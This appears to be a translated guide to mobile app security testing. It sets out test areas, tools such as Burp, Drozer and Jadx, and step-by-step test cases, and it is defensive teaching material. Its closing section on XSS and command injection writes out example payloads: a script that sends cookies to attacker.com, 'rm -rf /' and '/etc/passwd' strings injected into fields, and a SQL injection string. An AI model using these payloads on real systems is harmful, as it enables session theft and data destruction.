武大胆

Core Areas of Security Testing#

Data Security Testing#

• Storage Security

  • Test Points: Local databases, SharedPreferences/NSUserDefaults, cache files, log files.
  • Method: Use tools (such as ADB, SQLite browser) to check if sensitive data (like passwords, Tokens) is stored in plaintext in local storage.
  • Tools: MobSF (static analysis), DB Browser for SQLite.

• Transmission Security

  • Test Points: HTTPS communication, certificate validation, weak encryption algorithms (like SSLv3, SHA1).
  • Method: Use packet capture tools to intercept requests, verify if TLS 1.2+ is enforced, check if the certificate is valid (to prevent man-in-the-middle attacks).
  • Tools: Burp Suite, Wireshark, Charles Proxy.

• Privacy Compliance

  • Test Points: User data collection compliance with regulations like GDPR, CCPA, clarity of privacy policies.
  • Method: Check if application permissions are minimized (e.g., requesting camera access when not needed).

Authentication and Authorization#

• Authentication Mechanism
  • Test Points: Weak password policies, multi-factor authentication, biometric security.
  • Method: Simulate brute force attacks (using tools like Hydra), bypass biometric authentication (like fake fingerprints).
• Session Management
  • Test Points: Token validity period, token invalidation after logout, session hijacking.
  • Method: Tamper with tokens to replay requests (test using Burp Repeater module).

Code and Reverse Security#

• Code Obfuscation
  • Test Points: Readability of code after decompilation (e.g., whether ProGuard/R8 is used).
  • Method: Use Jadx/Ghidra to decompile APK/IPA, check if key logic is exposed.
• Anti-Debugging Mechanisms
  • Test Points: Detection of debuggers, prevention of dynamic injection (like Frida).
  • Method: Use Frida to attempt to hook key functions, test if the application crashes or triggers protections.

Server and API Security#

• Interface Security
  • Test Points: Privilege escalation (horizontal/vertical), parameter tampering (like modifying user ID).
  • Method: Use Postman to construct requests, test if unauthorized users can access others' data.
• Injection Attacks
  • Test Points: SQL injection, XSS, command injection.
  • Method: Input special characters (like ' OR 1=1--) to test interface responses.

Component Security (Android Specific)#

• Exposure of Four Major Components
  • Test Points: Risks of exporting Activity, Service, Broadcast Receiver, Content Provider.
  • Method: Use Drozer to scan components, attempt unauthorized access (like adb shell am start -n com.example/.DebugActivity).
• Intent Hijacking
  • Test Points: Malicious applications obtaining sensitive data via Intent.
  • Method: Construct malicious Intent to send data, check if the application filters input.

Runtime Security#

• Log Leakage
  • Test Points: Whether sensitive information is included in debug logs.
  • Method: Run the application and check log output via Logcat.
• Memory Security
  • Test Points: Residual sensitive information in memory (like plaintext passwords).
  • Tools: Use Fridump or Memory Profiler to check memory snapshots.

Third-Party Dependency Security#

• Library Vulnerabilities
  • Test Points: Whether third-party SDK/library versions have known vulnerabilities (like old versions of Apache Commons).
  • Tools: OWASP Dependency-Check, Snyk.
• Ad SDK Risks
  • Test Points: Malicious ad SDKs collecting user data.
  • Method: Review SDK permissions and network request behaviors.

Testing Methods and Tools#

Static Analysis#

• Purpose: Analyze potential vulnerabilities without running the code.
• Tools:
  • MobSF: Automated scanning of APK/IPA, detecting insecure configurations, hardcoded keys.
  • SonarQube: Check for security vulnerabilities in the code (like SQL injection snippets).

Dynamic Analysis#

• Purpose: Detect vulnerabilities during runtime (like data leakage, API flaws).
• Tools:
  • Burp Suite: Intercept and modify requests, test for privilege escalation, injection.
  • Drozer (Android): Dynamic testing of component security.

Penetration Testing#

• Simulated Attack Scenarios:
  • Man-in-the-middle attacks (installing self-signed certificates via Burp).
  • Reverse engineering (using Frida to bypass authentication logic).

Automated Scanning#

• Tools:
  • OWASP ZAP: Automated vulnerability scanning (like XSS, CSRF).
  • Nessus: Network layer vulnerability scanning (like server misconfigurations).

Common Scenarios and Detailed Test Cases#

Data Security Testing - Storage Security#

Scenario
After logging in, the application stores the password in plaintext in the local database's users table.
Test Case

• Title: Verify if user passwords are stored encrypted

• Steps:

  1. Install the application and complete the user registration/login process.
  2. Use adb shell to enter the device, find the application data directory:
     Copy

     adb shell "run-as com.example.app ls /data/data/com.example.app/databases"  
     

  3. Export the database file locally:
     Copy

     adb pull /data/data/com.example.app/databases/user.db  
     

  4. Open user.db with DB Browser for SQLite, check if the password field in the users table is in plaintext.

• Expected Result: The password field should be a hash value (like SHA-256) or encrypted ciphertext.

• Tools: ADB, DB Browser for SQLite

• Risk Level: High (plaintext storage can be directly stolen by malicious applications)

Data Security Testing - Transmission Security#

Scenario
The application uses HTTP protocol to transmit user credentials during login, without enabling HTTPS.
Test Case

• Title: Verify if login requests enforce HTTPS
• Steps:
  1. Configure Burp Suite proxy, set mobile network proxy to Burp.
  2. Perform login operation within the application, Burp intercepts the request.
  3. Check if the request URL is https://, if it is http://, attempt to modify the request content (like the password field) and replay.
  4. Observe if the server accepts unencrypted requests.
• Expected Result: Login requests should only allow HTTPS, modified HTTP requests should be rejected (return 4xx/5xx errors).
• Tools: Burp Suite
• Risk Level: High (man-in-the-middle can steal user credentials)

Authentication - Weak Password Policy#

Scenario
The application allows users to set weak passwords like "123456".
Test Case

• Title: Verify if password complexity policy is effective
• Steps:
  1. On the registration/password modification page, attempt to enter the following passwords:
     • 123456 (purely numeric)
     • password (common weak password)
     • abc (insufficient length)
  2. Check if the application prompts "Password must contain uppercase and lowercase letters, numbers, and be at least 8 characters long".
  3. If weak passwords are allowed, document the vulnerability.
• Expected Result: The application should reject weak passwords and prompt complexity requirements.
• Risk Level: Medium (easily brute-forced)

Session Management - Token Expiration Test#

Scenario
After logging out, the application does not invalidate the Token, leading to session hijacking.
Test Case

• Title: Verify if Token immediately expires after logout
• Steps:
  1. User A logs into the application, uses Burp to intercept and obtain their identity Token (like Authorization: Bearer xxxx).
  2. User A performs the logout operation.
  3. Use Burp Repeater module, carry User A's Token to access an authorized API (like GET /api/user/profile).
  4. Check if the server returns 401 Unauthorized.
• Expected Result: The Token should immediately expire after logout, preventing access to sensitive interfaces.
• Tools: Burp Suite
• Risk Level: Medium (can lead to user account hijacking)

Code Obfuscation - Decompilation Exposes Logic#

Scenario
The application has not enabled code obfuscation, key algorithms (like encryption logic) are exposed after decompilation.
Test Case

• Title: Verify if APK/IPA has undergone code obfuscation
• Steps:
  1. Use apktool to unpack the APK file:
     Copy

     apktool d app-release.apk -o output_dir  
     

  2. Open the APK with Jadx, check the com.example.app.util.CryptoUtils class.
  3. Check if the encryption function (like encryptPassword()) is displayed in plaintext logic (like directly calling the AES key).
• Expected Result: Key code should be obfuscated (like class names, method names randomized, logic difficult to read).
• Tools: Jadx, apktool
• Risk Level: Medium (attackers can reverse-engineer encryption logic)

Server API - Horizontal Privilege Escalation#

Scenario
By modifying the user ID parameter, a regular user can access data of other users.
Test Case

• Title: Verify if users can access others' data without authorization
• Steps:
  1. User A (regular user) logs in, accesses GET /api/users/123/profile to get their own data.
  2. Use Burp to intercept the request, modify the user ID in the URL to 456 (another user).
  3. Replay the request, check if it returns data for user ID=456.
• Expected Result: The server should return 403 Forbidden, prohibiting unauthorized access.
• Tools: Burp Suite
• Risk Level: High (data leakage)

Android Component Security - Exposed Activity#

Scenario
The application's debug Activity (like DebugActivity) is exported and can be started without permissions.
Test Case

• Title: Verify if non-exported Activities are protected
• Steps:
  1. Use Drozer to scan application components:
     Copy

     dz> run app.package.attacksurface com.example.app  
     

  2. Find the exported Activity, attempt to start it via ADB:
     Copy

     adb shell am start -n com.example.app/.DebugActivity
     

  3. Observe if successfully enters the debug interface (like log output, sensitive functions).
• Expected Result: Non-essential Activities should be set to android:exported="false".
• Tools: Drozer, ADB
• Risk Level: High (attackers can exploit debugging features)

Runtime Security - Log Leakage of Sensitive Information#

Scenario
The application prints user phone numbers or Tokens in debug logs.
Test Case

• Title: Verify if sensitive data is leaked in logs
• Steps:
  1. Use Android Studio's Logcat to monitor application logs.
  2. Perform sensitive operations (like logging in, viewing personal profile).
  3. Search for keywords: token, phone, password.
  4. Check if sensitive information is displayed in plaintext in the logs.
• Expected Result: Logs should only contain masked information (like token=***).
• Tools: Android Studio Logcat
• Risk Level: Medium (malicious applications can read logs)

Third-Party Dependencies - Known Library Vulnerabilities#

Scenario
The application uses an old version of OkHttp with CVE vulnerabilities (like CVE-2023-3635).

CVE (Common Vulnerabilities and Exposures)

Test Case

• Title: Verify if third-party libraries have known vulnerabilities
• Steps:
  1. Use OWASP Dependency-Check to scan application dependencies:
     Copy

     dependency-check --project MyApp --scan ./app/libs
     

  2. Check the list of vulnerabilities in the report, confirm if it includes high-risk CVEs.
  3. Compare the current version with the official fixed version (like OkHttp 4.10.0→4.12.0).
• Expected Result: All third-party libraries should be up-to-date and free of vulnerabilities.
• Tools: OWASP Dependency-Check
• Risk Level: High (can lead to remote code execution)

References and Concept Explanations#

OWASP (Open Worldwide Application Security Project) is a non-profit international organization focused on researching and improving application software security. Its core goal is to help developers, testers, and enterprises build and maintain secure applications by publicly sharing knowledge, tools, and best practices to reduce security risks.

1.OWASP MASTG (Mobile Application Security Testing Guide)
2.OWASP MASVS (Mobile Application Security Verification Standard)

SharedPreferences/NSUserDefaults#

SharedPreferences (Android) and NSUserDefaults (iOS) are local storage mechanisms used in mobile application development to store lightweight key-value pair data. They are mainly used to save simple configurations, user preferences, or temporary state data, but security issues should be noted.

Testing Scenarios

1. Check for Plaintext Storage
   • Android: Export XML files under /data/data/<package_name>/shared_prefs/ using adb, search for sensitive fields.
   • iOS: Directly view .plist files on jailbroken devices, or use NSUserDefaults reading tools (like iExplorer).
2. Verify Encryption
   • If using encryption libraries (like Android's Jetpack Security), check if key management is secure (like whether keys are hardcoded).
     Typical Vulnerability Cases

• Case 1: A social application stores user identity Tokens in plaintext in SharedPreferences, which can be directly stolen after rooting the device for account hijacking.
• Case 2: A financial application stores temporary passwords via NSUserDefaults, bypassing authentication after reading .plist files on jailbroken devices.

XSS / Command Injection#

XSS#

Cross-Site Scripting

Definition
Attackers inject malicious scripts (like JavaScript) into web pages, which execute in the browsers of other users visiting the page, stealing data or hijacking sessions.
Principle

• Root Cause of Vulnerability: The application does not escape user input, directly outputting it to HTML.
• Attack Method: Insert <script> tags or event attributes (like onerror) in input areas (comments, profiles).
  Classification

1. Stored XSS
   • Scenario: Malicious scripts are saved on the server (like forum comments), triggered by all visitors.
   • Example:
     Copy

     <script>fetch('https://attacker.com?cookie='+document.cookie)</script>
     

     Stealing user cookies.
2. Reflected XSS
   • Scenario: Malicious scripts are passed via URL parameters, triggered only by the current user.
   • Example:
     Copy

     https://example.com/search?q=<script>alert(1)</script>
     

     The page directly displays the q parameter content, triggering a popup.
3. DOM-based XSS
   • Scenario: Frontend JavaScript manipulates the DOM without escaping data.
   • Example:
     Copy

     document.getElementById("output").innerHTML = location.hash.slice(1);
     

     Accessing https://example.com#<img src=x onerror=alert(1)> triggers the attack.

Command Injection#

Definition
Attackers inject malicious parameters when the application calls system commands, leading to the execution of unintended operating system commands (like deleting files, starting services).
Principle

• Root Cause of Vulnerability: The application directly concatenates user input into system commands.
• Attack Method: Insert command separators (like ;, &&, |) in input.
  Common Scenarios

1. Web Applications Calling System Commands
   • Input IP address: 8.8.8.8; rm -rf /, triggering the command:
     Copy

     ping 8.8.8.8; rm -rf / # Executes ping and then deletes server files
     

2. File Upload Functionality
   • Uploaded filename: file.jpg; cat /etc/passwd > output.txt, reading the system password file.